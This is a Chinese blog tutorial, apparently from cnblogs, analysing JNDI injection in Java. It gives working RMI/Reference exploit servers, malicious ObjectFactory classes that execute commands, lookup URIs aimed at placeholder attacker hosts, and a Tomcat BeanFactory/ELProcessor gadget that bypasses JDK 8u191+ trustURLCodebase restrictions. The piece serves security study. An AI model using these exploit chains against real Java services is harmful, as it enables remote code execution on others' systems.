• JNDI注入


    基本概念

    JNDI简介

    JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。

    JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

    简单点说,JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象可能存储在RMI、LDAP、CORBA等等。

    如图:

    Java Naming

    命名服务是一种键值对的绑定,使应用程序可以通过键检索值。

    Java Directory

    目录服务是命名服务的自然扩展。这两者之间的区别在于目录服务中对象可以有属性,而命名服务中对象没有属性。因此,在目录服务中可以根据属性搜索对象。

    JNDI允许你访问文件系统中的文件,定位远程RMI注册的对象,访问如LDAP这样的目录服务,定位网络上的EJB组件。

    ObjectFactory-对象工厂类(具体代码实现的恶意类)

    JNDI允许通过对象工厂 (javax.naming.spi.ObjectFactory)动态加载对象实现,对象工厂必须实现 javax.naming.spi.ObjectFactory接口并重写getObjectInstance方法。

    恶意工程了类有2种方式触发我们的恶意代码:

    1. 通过构造方法进行触发的我们的恶意代码

    2. 通过重写getObjectInstance方法

    import javax.naming.Context;
    import javax.naming.Name;
    import javax.naming.spi.ObjectFactory;
    import java.util.Hashtable;
    // 工厂类通过重写getObjectInstance方法,触发恶意代码
    public class ReferenceObjectFactory implements ObjectFactory {
        /**
         * @param obj  包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
         * @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
         * @param ctx  一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
         * @param env  创建对象时使用的环境(可能为 null)。
         * @return 对象工厂创建出的对象
         * @throws Exception 对象创建异常
         */
        public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
            // 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
            return Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        }
    }
    //工程类构造函数触发恶意代码
    public class ReferenceObjectFactory implements ObjectFactory {
    		public ReferenceObjectFactory() throws RemoteException {
          //恶意代码
        }
    

    同样客户端请求引用Reference类,调用重写后的getObjectInstance方法,触发我们的可以代码

    Reference

    Reference类表示对存在于命名/目录系统以外的对象的引用。

    Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

    在使用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。

    几个比较关键的属性:

    • className:远程加载时所使用的类名;
    • classFactory:加载的class中需要实例化类的名称;
    • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

    JNDI协议动态转换

    JNDI实现的RMI服务中,可以在初始化配置JNDI设置时预先指定其上下文环境(RMI、LDAP、CORBA等),这里列出前面的两种写法:

        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,
                "rmi://localhost:1099");
    // 创建JNDI目录服务上下文
        Context ctx = new InitialContext(env);
    
    或
    
    		LocateRegistry.createRegistry(6666);
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
        InitialContext ctx = new InitialContext();
    

    但在调用lookup()或者search()时,可以使用带URI动态的转换上下文环境,例如上面已经设置了当前上下文会访问RMI服务,那么可以直接使用LDAP的URI格式去转换上下文环境访问LDAP服务上的绑定对象而非原本的RMI服务:

    // 查找JNDI目录服务绑定的对象
    ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");
    

    其原理可以跟踪代码找到:

    public Object lookup(String name) throws NamingException {
        return getURLOrDefaultInitCtx(name).lookup(name);
    }
    

    再跟进去就知道了:

    protected Context getURLOrDefaultInitCtx(Name paramName) throws NamingException {
        if (NamingManager.hasInitialContextFactoryBuilder()) {
            return getDefaultInitCtx(); 
        }
        if (paramName.size() > 0) {
            String str1 = paramName.get(0);
            String str2 = getURLScheme(str1);  // 尝试解析 URI 中的协议
            if (str2 != null) {
                // 如果存在 Schema 协议,则尝试获取其对应的上下文环境
                Context localContext = NamingManager.getURLContext(str2, this.myProps);
                if (localContext != null) { 
                    return localContext;
                }
            }  
        }
        return getDefaultInitCtx();
    }
    
    

    JNDI注入攻击

    RMI攻击

    RMI+Reference利用技巧

    JNDI提供了一个Reference类来表示某个对象的引用,这个类中包含被引用对象的类信息和地址。

    因为在JNDI中,对象传递要么是序列化方式存储(对象的拷贝,对应按值传递),要么是按照引用(对象的引用,对应按引用传递)来存储,当序列化不好用的时候,我们可以使用Reference将对象存储在JNDI系统中。

    那么这个JNDI利用技巧是啥呢?——就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行

    漏洞点1—lookup参数注入

    以lookup()函数参数外部可控为例,攻击原理如图:

    1. 攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URI 为 rmi://evil.com:1099/refObj
    2. 原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换而被指向 rmi://evil.com:1099/
    3. 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj想绑定的 ReferenceWrapper 对象(Reference("EvilObject", "EvilObject", "http://evil-cb.com/"));
    4. 应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在则会从 http://evil-cb.com/ 上去尝试获取 EvilObject.class,即动态的去获取 http://evil-cb.com/EvilObject.class
    5. 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class
    6. 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行;

    rmi服务端开启,绑定恶意对象类EvilClassFactory至rmi服务器上rmi://127.0.0.1:1099/exp,对象实例要能成功绑定在RMI服务上,必须直接或间接的实现 Remote 接口,这里 ReferenceWrapper就继承于 UnicastRemoteObject 类并实现了Remote接口:

    public class JNDIService {
        public static void main(String args[]) throws Exception {
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference refObj = new Reference("EvilClass", "EvilClassFactory", "http://127.0.0.1:8000/");
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
            System.out.println("[*]Binding 'exp' to 'rmi://127.0.0.1:1099/exp'");
            registry.bind("exp", refObjWrapper);
        }
    }
    

    恶意类EvilClassFactory,放在http://127.0.0.1:8000/目录下

    public class EvilClassFactory extends UnicastRemoteObject implements ObjectFactory {
        public EvilClassFactory() throws RemoteException {
            super();
            InputStream inputStream;
            try {
                inputStream = Runtime.getRuntime().exec("ifconfig").getInputStream();
                BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
                BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(bufferedInputStream));
                String linestr;
                while ((linestr = bufferedReader.readLine()) != null){
                    System.out.println(linestr);
                }
            } catch (Exception e){
                e.printStackTrace();
            }
        }
    
        @Override
        public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            return null;
        }
    }
    

    JNDI客户端 lookup可控制,去请求我们恶意的类

    public class JNDIClient {
        public static void main(String[] args) throws Exception {
            Properties env = new Properties();
            env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
            env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
            Context ctx = new InitialContext(env);
            String uri = "rmi://127.0.0.1:1099/exp";
            if(args.length == 0) {
    //            uri = args[0];
                System.out.println("[*]Using lookup() to fetch object with " + uri);
                ctx.lookup(uri);
            } else {
                System.out.println("[*]Using lookup() to fetch object with rmi://127.0.0.1:1099/demo");
                ctx.lookup("demo");
            }
        }
    }
    

    首先我们启动JNDI服务端

    接着我们开启服务8000端口,将恶意类EvilClassFactory放在该目录下

    接着启动客户端,由于客户端lookup()可控,我们成功请求到恶意类,并在客户端执行命令ifconfig

    漏洞点2—classFactoryLocation参数注入回顾下Reference类

    Reference类表示对存在于命名/目录系统以外的对象的引用。

    Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

    在使用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。

    几个比较关键的属性:

    • className:远程加载时所使用的类名;
    • classFactory:加载的class中需要实例化类的名称;
    • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

    前面lookup()参数注入是基于RMI客户端的,也是最常见的。而这里classFactoryLocation参数注入则是对于RMI服务端而言的,也就是说服务端程序在调用Reference()初始化参数时,其中的classFactoryLocation参数外部可控,导致存在JNDI注入。

    整个利用原理过程如图:

    RMI服务端,创建RMI注册表并将一个远程类的引用绑定在注册表中名为demo,其中该Reference的classFactoryLocation参数外部可控:

    public class BServer {
        public static void main(String args[]) throws Exception {
            String uri = "http://127.0.0.1:8000";
    //        if(args.length == 1) {
    //            uri = args[0];
    //        } else {
    //            uri = "http://127.0.0.1/demo.class";
    //        }
            System.out.println("[*]classFactoryLocation: " + uri);
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference refObj = new Reference("EvilClass", "EvilClassFactory", uri);
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
            System.out.println("[*]Binding 'demo' to 'rmi://127.0.0.1:1099/demo'");
            registry.bind("demo", refObjWrapper);
        }
    }
    

    EvilClassFactory.java,攻击者编写的远程恶意类,这里是在RMI客户端执行ifconfig命令并输出出来,该类放在http://127.0.0.1:8000web目录下

    public class EvilClassFactory extends UnicastRemoteObject implements ObjectFactory {
        public EvilClassFactory() throws RemoteException {
            super();
            InputStream inputStream;
            try {
                inputStream = Runtime.getRuntime().exec("ifconfig").getInputStream();
                BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
                BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(bufferedInputStream));
                String linestr;
                while ((linestr = bufferedReader.readLine()) != null){
                    System.out.println(linestr);
                }
            } catch (Exception e){
                e.printStackTrace();
            }
        }
    
        @Override
        public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            return null;
        }
    }
    

    RMI客户端,通过JNDI来查询RMI注册表上绑定的demo对象,其中lookup()函数参数不可控:

    public class BClient {
        public static void main(String[] args) throws Exception {
            Properties env = new Properties();
            env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
            env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
            Context ctx = new InitialContext(env);
            System.out.println("[*]Using lookup() to fetch object with rmi://127.0.0.1:1099/demo");
            ctx.lookup("demo");
        }
    }
    

    攻击者将恶意类EvilClassFactory.class放置在自己的Web服务器后,通过往RMI注册表服务端的classFactoryLocation参数输入攻击者的Web服务器地址后,当受害者的RMI客户端通过JNDI来查询RMI注册表中绑定的demo对象时,会找到classFactoryLocation参数被修改的Reference对象,再远程加载攻击者服务器上的恶意类EvilClassFactory.class,从而导致JNDI注入、实现远程代码执行:

    运行RMI服务端,将恶意类EvilClassFactory对象绑定名称为demo

    搭建web服务器,将我们到恶意类编译后放在这个web服务器下面

    启动客户端,成功JNDI注入执行命令

    绕过高版本JDK(8u191+)限制

    在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了

    KINGX提到了如下两种绕过方式:

    1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
    2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

    这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击

    利用本地Class作为Reference Factory

    恶意服务端

    package Jndi.test4;
    
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    import org.apache.naming.ResourceRef;
    
    import javax.naming.StringRefAddr;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    public class EvilRMIServer {
        public static void main(String[] args) throws Exception {
            System.out.println("[*]Evil RMI Server is Listening on port: 6666");
            Registry registry = LocateRegistry.createRegistry( 6666);
            // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
            // 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
            ref.add(new StringRefAddr("forceString", "x=eval"));
            // 利用表达式执行命令
            ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash', '-c', 'open /System/Applications/Calculator.app']).start()\")"));
            System.out.println("[*]Evil command: open /System/Applications/Calculator.app");
            ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
            registry.bind("Object", referenceWrapper);
        }
    }
    

    客户端

    package Jndi.test4;
    
    import javax.naming.Context;
    import javax.naming.InitialContext;
    
    public class Client {
        public static void main(String[] args) throws Exception {
            String uri = "rmi://localhost:6666/Object";
            Context ctx = new InitialContext();
            ctx.lookup(uri);
        }
    }
    

    原理:找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。

    高版本JDK 默认trustURLCodebase值为false,如果使用上述步骤,这里会经过if判断,会抛出异常,无法触发我们的JNDI注入漏洞

    想要绕过trustURLCodebase判断,如下所示,trustURLCodebase配置项肯定没办法,但是getFactoryClassLocation(),当reference不设置远程加载恶意的Factory的时候,这个返回的就是null,也就是我们的factoryLocation不设置远程工程时,那么这条语句就不成立!

    public Reference(String className, String factory, String factoryLocation) {
            this(className);
            classFactory = factory;
            classFactoryLocation = factoryLocation;
        }
    

    上述是通过反射获取codebase工程类,显然我们为了绕过trustURLCodebase判断,我们无法设置codebase值,但是该类中还存在其他方法

    我们没有设置codebase值,我们会调用本地设置的factory,所以如果本地存在可以进行利用的gadgets那么还是可以进行JNDI注入,从而绕过trustURLCodebase

    这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个getObjectInstance()方法。

    org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛。

    org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。

    而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

    调试过程如下:

    Client如下,加载本地类org.apache.naming.factory.BeanFactory

    利用getObjectFactoryFromREference方法,获取本地类BeanFactory的一个实例对象

    返回了一个BeanFactory对象

    接着就是调用该BeanFactory对象的getObjectInstance方法,直接调用ObjectFactory接口实现类实例的getObjectInstance()函数,这里是BeanFactory类实例的getObjectInstance()函数:

    factory.getObjectInstance(ref, name, nameCtx,environment);
    

    跟进看到org.apache.naming.factory.BeanFactory类的getObjectInstance()函数中,会判断obj参数是否是ResourceRef类实例,是的话代码才会往下走,这就是为什么我们在恶意RMI服务端中构造Reference类实例的时候必须要用Reference类的子类ResourceRef类来创建实例

    接着就是实例化javax.el.ELProcessor,

    自己在server端自定义一个forceString,x=eval的键值对存在ResourceRef,使用re f.get取出

    // EvilRMIServer
    ref.add(new StringRefAddr("forceString", "x=eval"));
    

    接着获取Bean类为javax.el.ELProcessor后,实例化该类并获取其中的forceString类型的内容,其值是我们构造的x=eval内容:

    通过ra.getContent(),取出value值: x=eval

    继续往下调试可以看到,查找forceString的内容中是否存在”=”号,不存在的话就调用属性的默认setter方法,存在的话就取键值、其中键是属性名而对应的值是其指定的setter方法。如此,之前设置的forceString的值就可以强制将x属性的setter方法转换为调用我们指定的eval()方法了,这是BeanFactory类能进行利用的关键点!之后,就是获取beanClass即javax.el.ELProcessor类的eval()方法并和x属性一同缓存到forced这个HashMap中:

    接着是多个do while语句来遍历获取ResourceRef类实例addr属性的元素,当获取到addrType为x的元素时退出当前所有循环,然后调用getContent()函数来获取x属性对应的contents即恶意表达式。这里就是恶意RMI服务端中ResourceRef类实例添加的第二个元素:

    获取到类型为x对应的内容为恶意表达式后,从前面的缓存forced中取出key为x的值即javax.el.ELProcessor类的eval()方法并赋值给method变量,最后就是通过method.invoke()即反射调用的来执行new ELProcessor().eval("".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd', '/C', 'calc.exe']).start()"))

    小结一下几个关键点:

    • 这种方法是从本地ClassPath中寻找可能存在Tomcat相关依赖包来进行触发利用,已知的类是org.apache.naming.factory.BeanFactory
    • 由于org.apache.naming.factory.BeanFactory类的getObjectInstance()方法会判断是否为ResourceRef类实例,因此在RMI服务端绑定的Reference类实例中必须为Reference类的子类ResourceRef类实例,这里resourceClass选择的也是在Tomcat环境中存在的javax.el.ELProcessor类;
    • ResourceRef类实例分别添加了两次StringRefAddr类实例元素,第一次是类型为forceString、内容为x=eval的StringRefAddr类实例,这里看org.apache.naming.factory.BeanFactory类的getObjectInstance()方法源码发现,程序会判断是否存在=号,若存在则将x属性的默认setter方法设置为我们eval;第二次是类型为x、内容为恶意表达式的StringRefAddr类实例,这里是跟前面的x属性关联起来,x属性的setter方法是eval(),而现在它的内容为恶意表达式,这样就能串起来调用javax.el.ELProcessor类的eval()函数执行恶意表达式从而达到攻击利用的目的;

    LDAP攻击

    除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

    后续再分析LDAP

    原代码分析

    JNDI目录对象的创建过程-InitialDirContext

    访问JNDI目录服务时会通过预先设置好环境变量访问对应的服务,我们这里以DNS服务来举例,如下代码所示

    public class Test {
        public static void main(String[] args) throws NamingException {
            // 创建环境变量对象
            Hashtable<String, String> env = new Hashtable<String, String>();
    
            // 设置JNDI初始化工厂类名
            env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
    
            // 设置JNDI提供服务的URL地址
            env.put(Context.PROVIDER_URL, "dns://114.114.114.114");
    
            // 创建JNDI目录服务对象
            DirContext context = new InitialDirContext(env);
        }
    }
    

    这里其实直接看InitialDirContext这个类是如何生成的即可,因为前面都是存在变动的,我们这里拿到了DNS的目录服务,但是JNDI还可以RMI LDAP等等的目录服务,所以我们要看InitialDirContext是如何根据存储env的数据来进行初始化目录服务对象的,在创建JNDI目录服务对象处打断点

    这里一直跟进去首先会发现一个init的函数

    在init()方法中,通过ResourceManage.getInitialEnvironment(environment)将我们传入的参数env值赋值给myProps变量

    调用myProps.get()方法取我们存入的INITIAL_CONTEXT_FACTORY属性来进行判断,如果该属性存在则getDefaultInitCtx进行默认的初始化context

    跟进getDefaultInitCtx方法,又会接着将之前存入env的相关信息通过NamingManager.getInitialContext(myProps);传入

    这里继续看NamingManager.getInitialContext,这个方法内完成对对应的工厂类的实例化

    将设置的初始化工程类com.sun.jndi.dns.DnsContextFactory类赋值给className变量

    通过反射对工程类进行实例化

    接着用对应的工厂类通过env相关信息来实例化对应的Context类

    到这里完成了getInitialContext方法,最后返回上下文Context对象

    这里的context值为上一步返回的defaultInitCtx上下文的值

    JNDI注入之RMI分析

    ReferenceObjectFactory

    import javax.naming.Context;
    import javax.naming.Name;
    import javax.naming.spi.ObjectFactory;
    import java.util.Hashtable;
    
    public class ReferenceObjectFactory implements ObjectFactory {
        /**
         * @param obj  包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
         * @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
         * @param ctx  一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
         * @param env  创建对象时使用的环境(可能为 null)。
         * @return 对象工厂创建出的对象
         * @throws Exception 对象创建异常
         */
        public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
            // 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
            return Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        }
    }
    
    

    RMIServer

    package Jndi.test3;
    
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    
    import javax.naming.Reference;
    import java.rmi.Naming;
    import java.rmi.registry.LocateRegistry;
    
    public class RMIReferenceServerTest  {
        public static void main(String[] args) {
            try {
                // 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
                String uri = "http://127.0.0.1:8000";
                // 监听RMI服务端口
                LocateRegistry.createRegistry(1099);
    
                // 创建一个远程的JNDI对象工厂类的引用对象
                Reference reference = new Reference("EvilClass", "ReferenceObjectFactory", uri);
    
                // 转换为RMI引用对象,
                // 因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,
                // 所以需要使用ReferenceWrapper对Reference的实例进行一个封装。
    
                ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
    
                // 绑定一个恶意的Remote对象到RMI服务
                Naming.bind("rmi://127.0.0.1:1099/rmiserver", referenceWrapper);
    
                System.out.println("RMI服务启动成功,服务地址:" + "rmi://127.0.0.1:1099/rmiserver");
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    

    RMIClient,这里需要说下我这边环境需要开启trustURLCodebase为true,因为我jdk8是181的,不在rmi+jndi注入的范围内,如果是ldap+jndi的话我181则可以不用开启trustURLCodebase

    package Jndi.test3;
    
    import javax.naming.InitialContext;
    import javax.naming.NamingException;
    
    public class RMIReferenceClientTest{
        public static void main(String[] args) {
            try {
                System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
                InitialContext context = new InitialContext();
                // 获取RMI绑定的恶意ReferenceWrapper对象
                Object obj = context.lookup("rmi://127.0.0.1:1099/rmiserver");
                System.out.println(obj);
            } catch ( NamingException e) {
                e.printStackTrace();
            }
        }
    }
    
    

    打断点

    getURLOrDefaultInitCtx方法

    getURLOrDefaultInitCtx方法中最终根据协议头来返回一个对应的Context对象,那么这里是rmi,所以返回一个rmi的Context

    接着继续来到getURLOrDefaultInitCtx.lookup方法,先调用的是getRootURLContext方法,该方法是对你的rmi地址进行格式解析,然后返回一个以根据解析出来的rmi地址、rmi端口等信息的一个注册中心的上下文

    接着通过这个注册中心的上下文进行lookup,寻找刚才解析处理地址,也就是server绑定在注册中心上的对象,这里的get(0)传入的是服务端绑定到的对象的名称

    接着又是真正开始调用registry_stub的lookup方法,构造远程调用对象remoteCall来进行序列化,接着就是传输来请求获取绑定在服务端注册中心上的对象,这里绑定的是referenceWrapper,所以最终获得的就是该对象referenceWrapper_stub

    获得了stub对象后,又开始进行decodeObject方法

    这个decodeObject就是会进行判断是否是reference类,然后调用NamingManager.getObjectInstance方法

    就这就来到了javax.naming.spi.NamingManager的类中的getObjectInstance,这里主要的两个方法分别是getObjectFactoryFromReference,getObjectInstance

    先进到getObjectFactoryFromReference方法中,主要的作用则对指定的codebase中进行加载class,最后进行实例化返回

    这个出来了之后就开始调用getObjectInstance,这个方法我们上面来继承ObjectFactory来进行重写,所以这里拿到的对象会调用我们重写的getObjectInstance

  • 相关阅读:
    C++ int与string的相互转换(含源码实现)
    二维数组名和二级指针
    一道算法题-从1到n整数中1出现的次数
    一道算法题-求三个矩形的交集矩形。
    位域
    计划
    Bigtable:一个分布式的结构化数据存储系统
    The Google File System 中文版
    HIVE和HBASE区别
    区分 hdfs hbase hive hbase适用场景
  • 原文地址:https://www.cnblogs.com/lalalaxiaoyuren/p/16157428.html
Copyright © 2020-2023  润新知